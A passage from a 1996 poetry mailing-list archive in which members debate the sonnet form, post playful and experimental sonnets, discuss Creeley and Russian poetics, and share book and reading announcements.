Furthermore, critics have well noted Creeley's tendency to dispense with many traditional elements of poetic appeal, such as figuration, imagery, narrative, concrete diction, and sensuous richness as found in Roethke or Thomas (RC's sound-craft is subtle and elusive on its own terms). Although his work is intensely intimate, he forgoes confessional revelation almost entirely. All these are omissions worth noting with skeptical regard, to my mind.

But so what? The compensating virtues are certainly abundant, and equally worth examination. One possible way into such a discussion is this. Lately I have been pondering RC's affinity with a range of writers beyond the usual Black Mountain suspects. For if as some have argued his work is central to our time, don't we need to look at how he stacks up against poets outside the Pound/Olson/Williams current? Such judgments as I have just leveled above (that many poems are trivial or opaque, e.g.) do presume an intention evidently not acknowledged by RC, for whom the poem seems not so much an artifact as the product of an exploratory process. The poem's aim is improvisation, not just its means.

Putting it in these terms, then, makes me want to connect Creeley's work to that of A.R. Ammons, Adrienne Rich, and William Stafford--all of whom, despite obvious differences, appear to share commitment to an improvisatory poetics. (I see other affinities with poets as distinct as William Bronk and W. S. Graham.) Ammons and Stafford, in particular, have seemed to many readers to commit too many trivial or opaque notations, insufficiently winnowing wheat from chaff. Formally and thematically, all these poets seem to make a central concern the limitations of language to capture or express what we most want it to; and all are very skeptical of heroic rhetoric.

Maybe there is a great divide here, between poets of this stripe and others, such as Lowell, for whom writing a "great" poem is always the object, even in his most improvisatory mode. Creeley, Rich, et al. don't seem to think that great poems *can* be written, and appear unsure that one should try: they seem to suggest that there are more interesting fish to fry, both emotionally and intellectually. Or at least that notions of greatness need to be examined afresh.

Well, these thoughts are all too rough, and I certainly haven't said much about what I admire in Creeley. But perhaps my notions here may provide some handhold for others to grab and continue the discussion?

David Graham
Ripon College
[redacted]
++++++++++++++++++++++

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## 589. Gabrielle Welford

### *Re: Music City sonnet*

*Thu 30 May 1996*

---

> *bantering martians hope for glory*
> *we committed literary piracy on the high seas*
> *Al left Billie Joe Cat found the path to*
> *hunger large as scaredy free-throw*
> *underground stone guitar blue uniformed blow*
> *mouth on double-cross diploma clue*
> *a world without nouns is healthy?*
> *sequined sequels quells*
> *primacy recency a magnificat its own*
> *catorziemme and quattrocento etc*
> *and minnie pearl and conway twitty*
> *a dirge enough for Solent murk*
> *too much robing and screeing*
> *the voice of an angel and the soul of*

> *blue few, grow a garage band*
> *glue bag a branding fag wagered row*
> *Sue the crew could count, although*
> *soccer Tolemy semper vivens*

↑ Index

590. **Emily Lloyd**
***Re: Nonset Form***
*Thu 30 May 1996*

---

At 10:22 AM 5/30/96 -0700, Steve Carll wrote:
>>Annie, you get upset when
>people equate your literary politics with your social ones, so why resort to
>a cheap shot like that?

Cheap shot or no, the analogy doesn't work because forests are gone, sonnets are not. Shakespeare's on the net and no one's bombed all the libraries yet. No matter how the form is played with, strictly formal sonnets do & will survive, as mummies do. So the question seems to be not whether formal sonnets will survive but whether they'll continue to be written. Hacker, Campo, etc., suggest that they will. I am not especially convinced that it deeply matters if they are not. We've got a lot in & on the books.

Actually--Annie--I think that one way sonnets *can* survive (as a present or future, not a past thing) is through our engagement & play with them, as in the "Ghost" (sorry, don't have the rest of the title with me) poem. Using the word "sonnet" in the title, and then not writing a formal sonnet, may be a "mockery" of/rebellion against/bending & breaking of the form--but at the same time, making reference to a "sonnet" at all in the title attests to the "importance" or "continual life" of the form, even if that importance is nothing more than that the idea "sonnet" was present when the piece was composed--that a formal sonnet, perhaps, haunts the poem (or the poet). The sonnet, too, as Ghost. "Sonnet" is not yet hackneyed. Here it continues to in/form the poet, poem & audience. What more could an ole' form ask?

> *A poem whose only end is to fit someone's definition of a form*
> *is just showing off.*

Oh Steve! And you with a heroic couplet for your sig.!

> [redacted]
>
> *"--A sound of waters bending astride the sky*

> *Unceasing with some Word that will not die...!"*
> *--Hart Crane*

Emily

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Emily Lloyd [redacted]
"Fist my mind in your hand"--Rukeyser

↑ Index

591. **George Bowering**
***Re: Nonset Form***
*Thu 30 May 1996*

---

> *A form is a living thing in my book and needs sustainable care.*
>
> *Annie*

If it is in your (or anyone's) book is it really living?

.....
"In town we have arguments."
--Stan Persky
George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

592. **Joe Amato**
***Re: Nonset Form***
*Thu 30 May 1996*

---

this is a sonnet a sonnet this is
a sonnet is this a sonnet is this
this is a sonnet a sonnet this is
a sonnet is this a sonnet is this
this sonnet is a sonnet this is a
is a this sonnet is a this sonnet
this sonnet is a sonnet this is a
is a this sonnet is a this sonnet
this a sonnet is a sonnet this is
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

is a sonnet this is a sonnet this
this a sonnet is a sonnet this is
is a sonnet this is a sonnet this
is this a sonnet is this a sonnet
this is a sonnet this is a sonnet

↑ Index

593. **Jordan Davis**
***sonnet quiddity***
*Thu 30 May 1996*

---

Rob Hardin certainly wrote:

A seventeenth-century sonnet can be analyzed in purely rhetorical terms. Such aspects of the sonnet might not be *as* commonly understood as its rime-scheme and meter. But that doesn't mean they are too obscure to be understood.

Lawrence J. Zillman's piece on the sonnet in the Pinkerton directory of poetry suggests that the 'form' of the petrarcan sonnet causes a 'two-part division of thought' to be 'invited'. Zillman elsewhere notes that Wyatt took an immediate liking to the closing couplet, that Petrarch's 'artificiality of treatment' stemming from 'Platonic love themes' were exported throughout Europe along with the metrical pattern and rhyme scheme, and that in this century the sonnet has seen the gradual phasing out of 'metronomic' iambs and exact rhymes even as the form has been present in poems having 'almost any subject and mood.'

Btw, Charles, is the title 'Tone Lock' a reference to the rapper Tone-Loc?

By all of which I mean to suggest, Rob, that opening the encyclopedia is as exasperating as one imagines.

What is at stake, Maria, I think, is the claim to centrality--not, as some might have it, centrality of group formation based on the relative merits of poets or poems--but of the sensibility (the sense it makes) implied by what one assumes when writing. What is writing about. Some categories of sensibility--idea, form, words. 'Or words.' If you control the central sensibility, then people come to your readings, read your poems, talk about them, etc.

Which they do (or do not) anyway.

It's not simply, Rod, that poets are deluded into thinking there's a restricted economy. It's more like: poets are intolerant. Poetry has so much to do with articulating what one is about--subtler more urgent etc.--that to have to acknowledge work that contradicts one's own--it's a kind of cognitive dissonance that hits most of the poets I know where they fight or fly. Quine suggests a logic that

can incorporate contradictions, and he I think cites Whitman. What kind of a poet was Whitman, anyway? What was central for Whitman, I mean. Joe Ross's 'fuzzy logic' series I've gushed about here, too. Bob Holman's cafe gig was described by the new yorker how? Taste brooks no contradictions, though. Apparent conflicts, like loving both gourmet food and jello, aren't contradictions--travelling in tastes you see everything--

or, Jordan, if you make a pact with yourself to ignore your basic need to be rude to people who are making mistakes--then it may be possible for you, individually, to read poetry (spring in) and participate in (this world of) poetry politics (poor mutts) happily. This will to be civil may make you crazy, but it will spare you much embarrassment when your turn comes to be exposed for the fool you certainly are.

Jordan

↑ Index

## 594. Charles Alexander
### *Re: Nonset Form*
*Thu 30 May 1996*

> *this is a sonnet a sonnet this is*
> *a sonnet is this a sonnet is this*
> *this is a sonnet a sonnet this is*
> *a sonnet is this a sonnet is this*
> *this sonnet is a sonnet this is a*
> *is a this sonnet is a this sonnet*
> *this sonnet is a sonnet this is a*
> *is a this sonnet is a this sonnet*
> *this a sonnet is a sonnet this is*
> *is a sonnet this is a sonnet this*
> *this a sonnet is a sonnet this is*
> *is a sonnet this is a sonnet this*
> *is this a sonnet is this a sonnet*
> *this is a sonnet this is a sonnet*

Nice.

this is a sonnet a
a sonnet is a sonnet is this
this is a so is
a sonnet this a sonnet is this
this sonnet is a a
is sonnet is a this sonnet
this sonnet is a net this is a
is a th net

this net is a sonnet this is
is this
this a sonnet is a sonnet this is
is a son net this
is this a so this a sonnet
et this et

charles

↑ Index

## 595. Carnography

### *Careerism*

*Thu 30 May 1996*

---

The following is my contribution--which I may or may not choose to read, depending on which possibility will do the most to enhance my Poetic Career (I'm gonna be rich, my astrologer told me!)--at the Unbearables' Careerism Festival, which will take place on June 2nd, 5pm, at Chez Rollo (37 Avenue B).

---

Parasitologia Hungarica
(or Stomp Me That Latin Swing)

(in which an insect biologist renounces academic verse
for The Nyorican Poetry Cafe)

Rob Hardin

Her father studied the etiology
of necrophilous and slime-gathering stingless bees,
filth breeding flies on a Hungarian cattle farm.
Breathing stale must in a shuttered office,
she monitored insect thought to research the effects
of popular anti-depressants on worker ants,
engendering adult mosquito surveillance
for control programs involving larval parasitoid uses.
This is a shameless career move, Father said.
And still she couldn't adjust;
her wig-frizz issued parricidal slivers
in a dense-faceted surface as gray as cerci.

Still stiller trembled the insect genechimes,
still still, spittle-spill-reamed the rills of the sills
Muerte, Los Blancos! Muerte, Los Wasperitos!

They call me the Cuban Khlebnikov! The afrocubicentric boy with a surgically-inset Spanish-American dictionary and the ability to PRONOUNCE MACARONIC VERSE SEMI-CORRECTLY WHILE SNORING! HAIL MULTICULTURAL SATAN (or Lyle Menendez)! Do not doubt me, Bob, for I AM THE REAL DEAL!

Oh, yeah, Edwin, swing your notochords, [jazz reference],
doo-wee-ooh-wee-ooh-wee...
dwee-dwee, vah-vooooooommmmmmmuhhhh....

And then the latinate-pharmacobiological-arachnid-reference-pace quickened.

Highway tube
Speed-bug mood
Flyin' to thuh beaker
With sum speed-bug food
Got-uh hardcore 'scope
N' uh lab-test boll-
Weevil-fat-assed-Creole
Uh-slippin'-n'-uh-lippin?
MMMMM!-uh-nuh-nuh-nuh-nuh-nuh
Bug times, yeah!
Bad times, no!
Listen to thuh pistons
N'-uh off uh go
Vroooooom-vroooooommmmmmmmmmmmmmuhhhhhhhhhh....

O Morphine Bug-Daddy, nodding off in the petri dish of Now...

Don't stop displaying or you'll get ridged palms, Mother said, and you'll always live in a cylinder of z-pools.

As the aggregation pheromone of misanthrope hostesses
burrowed through nilotic mires pixeled with pathogens
in foraging behaviour that provided no solutions
to the reliability-detectability problems of late adolescent
Oecologia Blowflies, alterations
in adult taste responses by chemicals present
during the development of Phorma regina sent this pathology inward.

To study the minds of parasites is a worthwhile activity, Ramon, since all property is theft, according to local open-field shoppers. Scatologies are the empires of parents who can't awaken from their sodium tripolyphosphate attachment career decisions.

(I don't believe in endings)

So what do you think, Mr. Courtney? Do I have a shot?

↑ Index

596. **Tony Green**
***Re: Poem of Weeping Ghosts in Sonnet Form***
*Thu 30 May 1996*

---

I second Jerry Rothenberg's remarks on the extraordinary lines at the bottom of Annie Finch's posting. Me, I'm all for students being made to write sonatas to keep The Sonata from being forsaken as an awkward damn  puzzle to solve, and The Sonatina, and the hybrid The Sonnetina. All The Best,

Tony Green,
e-mail: [redacted]

↑ Index

597. **Laura Moriarty**
***benefit for New Langton Arts***
*Thu 30 May 1996*

---

One Night Only!

Word X Music

Norman Fischer, Leslie Scalapino, Kit Robinson and Laura Moriarty will be reading with musicians Donald Robinson, James Routhier and Glenn Spearman in what the flyer describes as a "full on jam session" this Saturday June 1 at 8 pm.

Tickests are a suggested donation of $10. Reservations are at [redacted].New Langton Arts is at 1246 Folsom Street between 8th and 9th streets.

↑ Index

598. **Thomas Bell**
***Re: Russian/American sonnet quiddity***
*Thu 30 May 1996*

---

After a desultory time as an English major, I date the beginning of my positive experiences with poetry to the early 60's when I was able to read Russian.  I found the early work of Yevtushenko and Vosnesensky. This led in many directions, but I think the fascination was related to a comment made on this list a few days ago about the Russian poetry festival.  I deleted this (and would appreciate a copy sent) but the general idea was that the difference between American and Russian poetry was that American poetry was a carefully constructed

experience (whether formal or experimental) while Russian poetry began with the experience.

This is consistent with my experience even if I or the poster of the comment might not be using words that adequately describe the difference. I feel there is a difference and that the difference is related to the current form discussion. If anyone understands what I am talking about I would appreciate hearing from them either here or offlist.

Thanks
Tom Bell

↑ Index

## 599. Rod Smith
### *New Books fer Poetics*
*Fri 31 May 1996*

---

It was suggested to me that I periodically select 5 or 10 new books from Bridge Street Books to offer to the list. Hopefully this will be of use for browsers as well as shoppers, simply as a bit of "what's new." Ordering info follows the list of books. This first list is almost entirely poetry. In the future I will include critical books, fiction, etc. We're expecting Bob Perelman's _Language Writing & Literary History_ soon.

1. _Bleeding Optimist_, Mary Burger, Xurban, $7.00. Some of you may know the excellent magazine _Proliferation_ Burger was (is?) an editor for. "Accidents happen here."

2. _Stone Marmalade_, a play by Kevin Killian & Leslie Scalapino, Singing Horse, $9.50. "This play is our concerted attempt to demolish society." --L.S.

3. _Frame Structures: Early Poems 1974-1979_, Susan Howe, New Directions, $12.95. Reprints 4 early books
with a lengthy recent essay.

4. _Symmetry_, Laura Moriarty, Avec, $9.95.
"The one clear night which encompasses the subject forgets everything."

5. _Channel-Surfing the Apocalypse_, Susan Smith Nash, Avec, $11.95. Prose & some drawings. Hey, a blurb by Burroghs (not quite as rare as Pynchon, but close). Titles include: "Knowledge is Lonely and Filled with Sticky Sap" & "My Bulimic Jesus."

6. _Natural Facts_, Melanie Neilson, Potes & Poets, $11.00. Cover is a daguerreotype, 1840s, "Still Life with Pumpkin, Shakespeare, and Sweet Potato." Lauterbach mentions Ives in her blurb, seems right to me. "Will Congress / Canary the canon?"

7. _Clean and Well Lit: Sel Poems 1987-1995_, Tom Raworth, Roof, $10.95. Tom's tops.

8. _The Front Matter, Dead Souls_, Leslie Scalapino, Wesleyan, $10.95. "I'm a scout on the quiet road into it."

9. _In Memory of My Theories_, Rod Smith, O Books, $9.
"No analysand can indent this largesse." Highly recommended.

10. just ask, we may have it.

We also have a limited number of signed copies of Bernstein & Joris books from their recent significant & enlightened performance on our premises. Charles' _Dark City_ ($11.95), _Rough Trades_ ($10.95), _The Sophist_ ($11.95), _Islets/Irritations_ ($9.95), & A Poetics ($14.95). Pierre's _Breccia: Sel Poems: '72-'86_ ($14.95), _Turbulence_ ($8), _The Irritation Ditch_ ($4.50), & _Winnetou Old_ ($5). Also his translation of Celan's _Breathturn_ ($12.95).

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

↑ Index

## 600. Charles Bernstein
### *new M/E/A/N/I/N/G*
*Fri 31 May 1996*

---

Susan Bee and Mira Schor, editors of
M/E/A/N/I/N/G
are pleased announce
the publication of #19/20,
a special, double, final, 10th-anniversary issue.

Now available.

#19/20 will be an instant collector's item.
It features 120 pages of original artwork by visual artists
who have written for past issues.

It also contains a valuable, complete, detailed index to issues #1-20 arranged by subject as well as by author.

This issue is available for $15 for individuals; $20 for institutions.

M/E/A/N/I/N/G #19/20 features: An All Visual Forum with Emma Amos, Douglas Anderson,Suzanne Anker, Ida Applebroog, Lillian Ball, Rudolf Baranik, Susan Bee, Charles Bernstein, Jake Berthot, Jimbo Blachly, Serena Bocchino, Power Booth, Nancy Bowen, Jackie Brookner, Richard Brown, Kathe Burkhart, Jack Butler, Sheila Butler, Rosemarie Castoro, Emily Cheng, Myrel Chernick, Daryl Chin, Maureen Connor, Jordan Crandall, Peggy Cyphers, Kevin deForest, Stephanie DeManuelle, Jane Dickson, Bailey Doogan, Rackstraw Downes, Johanna Drucker, Hermine Ford, Jason Fox, Nicholas Frank, Nancy Fried, Ava Gerber, Jeremy Gilbert-Rolfe, Sharon Gold, Leon Golub, John Goodyear, Mimi Gross, Nancy Grossman, Marcia Hafif, Freya Hansell, Hilary Helfant, Susanna Heller, Lisa Hoke, David Humphrey, Michi Itami, Julia Jacquette, Yvonne Jacquette, Tom Knechtel, Alison Knowles, Komar & Melamid, Joyce Kozloff, L. Brandon Krall, Robert Kuszek, Ellen Lanyon, Lawrence Lipkin, Fern Logan, Pam Longobardi, Medrie MacPhee, Lenore Malen, Ann McCoy, Ann Messner, Melissa Meyer, Michael Mikulay, Holly Miller, John Miller, Curtis Mitchell, Gregory Montreuil, David Moreno, Robert C. Morgan, Portia Munson, Kathryn Myers, Joseph Nechvatal, Diane Neumaier, Paul Pagk, Enoc Pérez, Nancy Pierson, Howardena Pindell, Barbara Pollack, William Pope. L, Lucio Pozzi, Rebecca Quaytman, Aviva Rahmani, David Reed, Trudie Reiss, Jacques Roch, Sal Romano, Erika Rothenberg, Juan Sanchez, Miriam Schapiro, Carolee Schneemann, Mira Schor, Christian Schumann, Arlene Shechet, Kate Shepherd, Pamela Shoemaker, Harriet Shorr, Dena Shottenkirk, Amy Sillman, Joan Snyder, Elke Solomon, Nancy Spero, May Stevens, Robert Storr, Sidney Tillim, Danny Tisdale, Nicola Tyson, Derek Weiler,  Lawrence Weiner, Faith Wilding, Martha Wilson, Michael Windle, Flo Oy Wong, Pamela Wye, Karen Yasinsky, Alexander Zane, Barbara Zucker

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A very limited number of complete sets of M/E/A/N/I/n/G #1-20 are available for $300.

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All checks should be made payable to Mira Schor.
Send all orders to:

Mira Schor
60 Lispenard Street
New York, NY 10013

**

also available at some bookstores and from SPD

↑ Index

601. **henry gould**
***Re: Nonset Form***
*Fri 31 May 1996*

---

On Wed, 29 May 1996 19:34:06 -0700 Gary Hawkins (or Laura?) said:
>
>If a thing has holes in it, I think we should know about it. What's called
>"anomaly" in science is called "rebellion" in poetry-- either way
>revolutions do happen.

Isn't it true that in certain periods in English lit. history, adding an extra syllable to the line was making a statement - a flourish, something scandalous, outrageous, flagrant. But the english language has an extraordinar y springiness to it, and in America it sprang all out of meter. Here, now, the anomalous thing is to rein in the springiness with meter.

> *The English dumped the Italian sonnet once they realized it's easier to rhyme in Italian. American rhymes even less.*

Depends on your definition of rhyme. Off-rhyme, conceptual rhyme, inside-out rhyme - the english vowels are FULL of rhyme.
>
>Besides, once a form's been done, why do it again for anything other than
>practice, to prove you can do it?

This attitude, paradoxically, takes form too seriously. It's poets & poetry from long time ago that still haunt us today (I mean literally haunt us). I wrote a poem about Hart Crane the 3rd section of which is a sonnet because I wanted to draw close to Crane's own memorial sonnets (to Dickinson & Melville). The sonnet is not a form but just a way to direct the song. - Henry Gould

↑ Index

602. **henry gould**
***Re: Au pur delice sans chemin (1)***
*Fri 31 May 1996*

---

On Thu, 30 May 1996 09:22:29 CST David Baratier said:
> Ses purs ongles tres haut dediant leur onyx,
> L'Angoisse, ce minuit, soutient, lampadore,
> Maint reve vesperal brule par le Phenix
> Que ne recueille pas de cineraire amphore.

Se Franc Goutier et sa compaigne Helaine
Eussent ceste doulce vie hantee,
D'oignons, civotz, qui causent forte alaine,
N'acontassent une bise tostee.

"If Franc Gontier and his companion Helene
had ever led a life as sweet as this,
they wouldn't give a damn for scallions
or onions which cause bad breath"

Franswayze Villon, trans. Anthony Bonner
-- Henri Goulet

↑ Index

603. **Nada Gordon**
***naropa dates/topics***
*Fri 31 May 1996*

---

Does anyone know the dates and topics for the Naropa summer writing program?

Or if they have something resembling a website?

You can backchannel me at [redacted].

↑ Index

604. **henry gould**
***russ/am po form***
*Fri 31 May 1996*

---

Tom Bell made a comment about differing Russian & American approaches to poetic form. Was it my post you were referring to? I didn't exactly say that Americans build an experience in the poem, while Russians respond to prior experience, though that's close. I was reflecting both on my own take of the readings I heard at the conference and on a remark made to me my Russian poet Elena Shvarts, to the effect that Americans take their time through the poem

getting to what they want to say/discover, while the russians impose a kind of finality on the poem through tight forms. This was most evident in Ivan Zhdanov's reading, who reads short intense almost riddle-like lyrics in a kind of flat, resigned way - the manner playing off the intense emotional effect. On the other hand, a poet like Shvarts is very expansive - but within the metrical CHANTING speech of russian poetry and a kind of folklore-witchcraft approach to classic modes & forms (clearly I think in the line of both Akhmatova & Tsvetaeva).

The end result of both approaches for me was that the american langpos like Bruce Andrews get to a kind of dionysian explosive effect through crazy free rant - whereas for the russians the dionysian is definitely there but it takes on a kind of tragic finality. Shvarts also mentioned to me how different russian poetry audiences are - a lot of emotionality, weeping, etc. - Henry Gould

↑ Index

## 605. Carnography

### *Re: Careerism, yes; but formal exactitude as well*

*Fri 31 May 1996*

---

Jordan Davis:

> *yah but obviously matt cour(t)ney's not the one to ask...*

That's certainly to his credit, isn't it--
that he turned his back on the nastier
ramifications of self-promotion? I just saw
Matthew in the street, en route to his night at
Biblio's, and I must say, the man has integrity
written on his forehead.

Not coincidentally, when I looked *closely* at
the writing on Matt's forehead, I noticed a
certain adherence to *Shakepearean sonnet form*:

Integrity, integrity inte-
Grity; integrity integrity,
Integrity: integrity inte-
Grity integrity--integrity
Integrity--integrity (Inte-
Grity!) integrity integrity
Integrity integrity inte-
Grity integrity integrity.

Integrity integrity inte-
Grity integrity integrity?

Integrity integrity,inte-
Grity, integrity *integrity*?

Integrity, integrity inte;
Grity integrity, integrity.

(I wonder...do you think...and I mean
this, as it were, in the specu/la/tive
sense...that we might have belabored this
subject? Or is my sentiment too reminiscent
of Henry David Thoreau?)

Obviously, Matt is alluding to the
early magic realism of Virginia Woolf,
who said, simply, "Style is rhythm."
Or perhaps he is merely repeating the
words "mug" and "shoe" in an utterly
random sequence.

Nothing is more formidable than a degree in composition
(except, perhaps, a degree in zither repair).

Looking forward to your thoughts on the relationship between Tourette's Syndrome and agogic accents in the couplets of Snodgrass. Until then, I offer you an extended vacation from my thoughts on any subject.

All the best,

Rob Hardin

↑ Index

606. **Herb Levy**
***Re: naropa dates/topics***
*Fri 31 May 1996*

---

I thought other people might be interested so I didn't back channel the URL for Naropa.

<http://www.naropa.edu/>

is the main page.  The summer programs are described at

<http://www.naropa.edu/summer96.htm>

> *Does anyone know the dates and topics for the Naropa summer writing program?*
>
> *Or if they have something resembling a website?*
>
> *You can backchannel me at* [redacted].

Herb Levy
[redacted]

↑ Index

607. **Peter Jaeger**

***nonset form***

*Fri 31 May 1996*

---

sonnets are little rooms:

sonnet 2

much
to
young
at
heart
beat
poets
are
the
unacknowledged
income
will
be
penalized

sonnet 18

one
for
all
and
all
for
one
2
3
o'clock
four
o'clock
rock
talk

sonnet 37

so
never
say
never
enough
time
to
go
man
go
go
dance
class
struggle

Peter Jaeger

↑ Index

608. **henry**
***forming at the mouth***
*Fri 31 May 1996*

---

AD HOC SING-SONG SEA SONNET

I heard a tugboat huffing through the fog
while standing on a pier in gloom and guano.
I heard it straining like a hunting dog
leashed against drowning.  Far below
gray breakers, the bored sea-god, a snoring
mythological typhoon, dreamed
he floated too - sirens surrounding
his dais, sun feathering the sea-calm...

I thought - despite these dreary docks
and screaming gulls, that dumb sea-god and I
are one.  I dreamed his squid-like, salty locks;
he dreamed his air-filled, regal buoyancy;
and neither, throned in dry sandcastles, knows
where that turbulent, stubborn tugboat goes.

- Henry Gould

↑ Index

609. **Daniel Bouchard**
***Fwd: russ/american poetry conf***
*Fri 31 May 1996*

^^^

"But I like being able to
speak acccurately about poetic phenomena,  and I find the technical terms
in their original meanings extremely useful."

I know this is being awfully picky of me, but isn't this sense of "original" highly problematic? Who wrote the very first sonnet? Who first used the term sonnet? Is either of these uses the controlling definition of the form (for "speaking accurately" or any other purposes) Annie or anyone wants?

charles alexander

↑ Index

611. **Pierre Joris**

***Re: naropa dates/topics***

*Fri 31 May 1996*

---

The Naropa homepage for the summer program is however a reduced version -- oddly enough for the Jack Kerouac School of Disembodied Poetics's Summer Writing Program it leaves out a number of the visiting writers who will be teaching there this year: week one also has Kenneth Irby,Katie Yates,Mark Amerika & Keith Abbot; week 2, Paul Hoover, Beverly Dahlen & Don Byrd; week 3, Pierre Joris, Will Alexander & Kathleen Fraser.

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

On Fri, 31 May 1996, Herb Levy wrote:

> *I thought other people might be interested so I didn't back channel the URL for Naropa.*
>
> *<http://www.naropa.edu/>*
>
> *is the main page.  The summer programs are described at*
>
> *<http://www.naropa.edu/summer96.htm>*
>
> *Does anyone know the dates and topics for the Naropa summer writing program?*

> *Or if they have something resembling a website?*
>
> *You can backchannel me at [redacted].*
>
> *Herb Levy*
> [redacted]

↑ Index

612. **Annie Finch**
***Nonset form***
*Fri 31 May 1996*

---

by miavx1.acs.muohio.edu (PMDF V5.0-5 #14024)
id <[redacted]> for
[redacted]; Thu, 30 May 1996 19:13:54 -0500 (EST)
30 May 1996 19:13:53 -0400
id AA49639; Thu, 30 May 1996 19:13:52 -0400
with BSMTP id 3582; Thu, 30 May 1996 19:12:41 -0400 (EDT)
by UBVM.CC.BUFFALO.EDU (LMail V1.2a/1.8a) with BSMTP id 9837; Thu,
30 May 1996 19:12:41 -0400
Date: Thu, 30 May 1996 19:12:41 -0400
From: "L-Soft list server at UBVM (1.8b)" <[redacted]>
Subject: Rejected posting to [redacted]
To: [redacted]

You are not authorized to send mail to the POETICS list from your [redacted] account. You might be authorized to send to the list from another of your accounts, or perhaps when using another mail program which generates slightly different addresses, but LISTSERV has no way to associate this other account or address with yours. If you need assistance or if you have any question regarding the policy of the POETICS list, please contact the list owners: [redacted].

---------- Rejected message (89 lines) ----------
V1.2a/1.8a) with BSMTP id 9265; Thu, 30 May 1996 19:10:16 -0400
with TCP; Thu, 30 May 96 18:56:41 EDT
id AA59247; Thu, 30 May 1996 18:57:42 -0400
Date: Thu, 30 May 1996 18:10:43 -0500
To: UB Poetics discussion group <[redacted]>
From: [redacted] (Annie Finch)
Subject: Re: Nonset Form

Emily Lloyd wrote:

> *Cheap shot or no, the analogy doesn't work because forests are gone, sonnets are not. . . . So the question seems to be not whether formal sonnets will survive but whether they'll continue to be written.*

Thst's what I mean by "survive"--continue to be written (and not only be written--be written by engaged, original poets). "Mummy" forms thataren't being written haven't survived as living forms, only as artifacts.

As you point out, Hacker, Campo etc. can do it, as can some of the women in A Formal Feeling Comes, because their self-consciously marginalized position as gays or women builds an ironic distance into the form.

I am not especially convinced that it
>deeply matters if they are not. We've got a lot in & on the books.

You're not convinced, but it clearly matters to some poets such as Hacker/Campo, who get a lot of power from the form. Personally, I am not all that interested in writing sonnets either right now (big surprise to the list, huh?), but I like having many different kinds of forms around.
>
>Actually--Annie--I think that one way sonnets *can* survive (as a present or
>future, not a past thing) is through our engagement & play with them, as in
>the "Ghost" (sorry, don't have the rest of the title with me) poem.

I agree completely. I have no desire to prescribe, ossify, define, or limit anyone's play with, the form or any form. But I like being able to speak acccurately about poetic phenomena, and I find the technical terms in their original meanings extremely useful. Can't people play with the form, altering it more or less as they desire, without taking the terminology along with them? Couldn't someone say, my poem is a take on the sonnet, rather than, my poem is a sonnet, if in fact it is not a sonnet as much as another poem is? It's common sense, isn't it--most educated people would know what you meant if you said that one poem was actually a sonnet and another was a poem that, while not really technically a sonnet, alludes to a sonnet through such and such characteristics. My main interest is to increase the number and accuracy of the terms available to us as people who want to discuss poetics. I understand the danger of limiting in some regressive and stifling way the play with a form by saying that such-and-such is not a sonnet and such-and-such is. But on the other hand, if the sonnet is so dead and pointless, then why all the fuss about keeping its name? Why not let the poor ole dead pointless form keep its own name so that those who choose to mess about in its remains, for whatever perverse reasons of their own, can at least know clearly what they are messing about in? Perhaps one reason this idea is so threatening to some on the list is that the technical and critical awareness/terminology to discuss other forms, newer forms, is just being developed; we are just barely able to discuss the poetics/prosody of free

verse with any accuracy, thanks to work like Hartmann's, Boughn's, and Holder's (and perhaps my own Ghost of Meter). Maybe as we begin to develop resources to discuss the newer prosodies, it will become clear that there is plenty of room for many kinds of forms and we don't have to be fighting so hard over the stupid ole sonnet.

Thanks, Emily, for your response.

Annie Finch (writing from my office on a decent email program for once, so this time there will be no typo soup of unerasable fragments to follow so deliciously on my leftbrain words. Sorry, Jerry Rothenberg! I'll be back home tomorrow and able to cook up another yummy batch. Aren't they wonderful? I like them too. I'll miss them when the university finally gets it together to give me access to this program at home.)

ANNIE FINCH
DEPARTMENT OF ENGLISH
MIAMI UNIVERSITY

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613. **Annie Finch**
***nonset form***
*Fri 31 May 1996*

---

by miavx1.acs.muohio.edu (PMDF V5.0-5 #14024)
id <[redacted]> for
[redacted]; Thu, 30 May 1996 19:13:56 -0500 (EST)
30 May 1996 19:13:55 -0400
id AA20460; Thu, 30 May 1996 19:13:53 -0400
with BSMTP id 3583; Thu, 30 May 1996 19:12:42 -0400 (EDT)
by UBVM.CC.BUFFALO.EDU (LMail V1.2a/1.8a) with BSMTP id 9843; Thu,
30 May 1996 19:12:43 -0400
Date: Thu, 30 May 1996 19:12:42 -0400
From: "L-Soft list server at UBVM (1.8b)" <[redacted]>
Subject: Rejected posting to [redacted]
To: [redacted]

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---------- Rejected message (35 lines) ----------
V1.2a/1.8a) with BSMTP id 9451; Thu, 30 May 1996 19:11:07 -0400
with TCP; Thu, 30 May 96 18:59:47 EDT
id AA45970; Thu, 30 May 1996 19:00:51 -0400
Date: Thu, 30 May 1996 18:13:52 -0500
To: UB Poetics discussion group <[redacted]>
From: [redacted] (Annie Finch)
Subject: Re: Nonset Form

When I wrote,

>> A form is a living thing in my book and needs sustainable
>>care.
>
George Bowering wrote,

>If it is in your (or anyone's) book is it really living?
>
Yes, that was my point: That some things in books seem living to me, such as forms, when they are seriously engaged with, and words, when they are not too transparently referential .

ANNIE FINCH
DEPARTMENT OF ENGLISH
MIAMI UNIVERSITY

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## 614. Joe Aimone
### *"A Sonnet" - take two or three*
*Fri 31 May 1996*

---

(with apologies to the other Joe A)

This is "A Sonnet," a sonnet. This is
a "sonnet" - - Is this a Sonnet? Is this
This? Is a sonnet a sonnet? This is.
A sonnet is this: a sonnet. Is this
this? Sonnet is. A sonnet, this, is. (A
Is A!) This sonnet is a this. Sonnet
this: sonnet is _a_ sonnet. This. Is a
is a this? Sonnet is a this-sonnet.
This, a sonnet, is a sonnet this is.
Is a sonnet this is a sonnet? This
this a sonnet? Is a sonnet this? Is
is a sonnet this is? A sonnet this

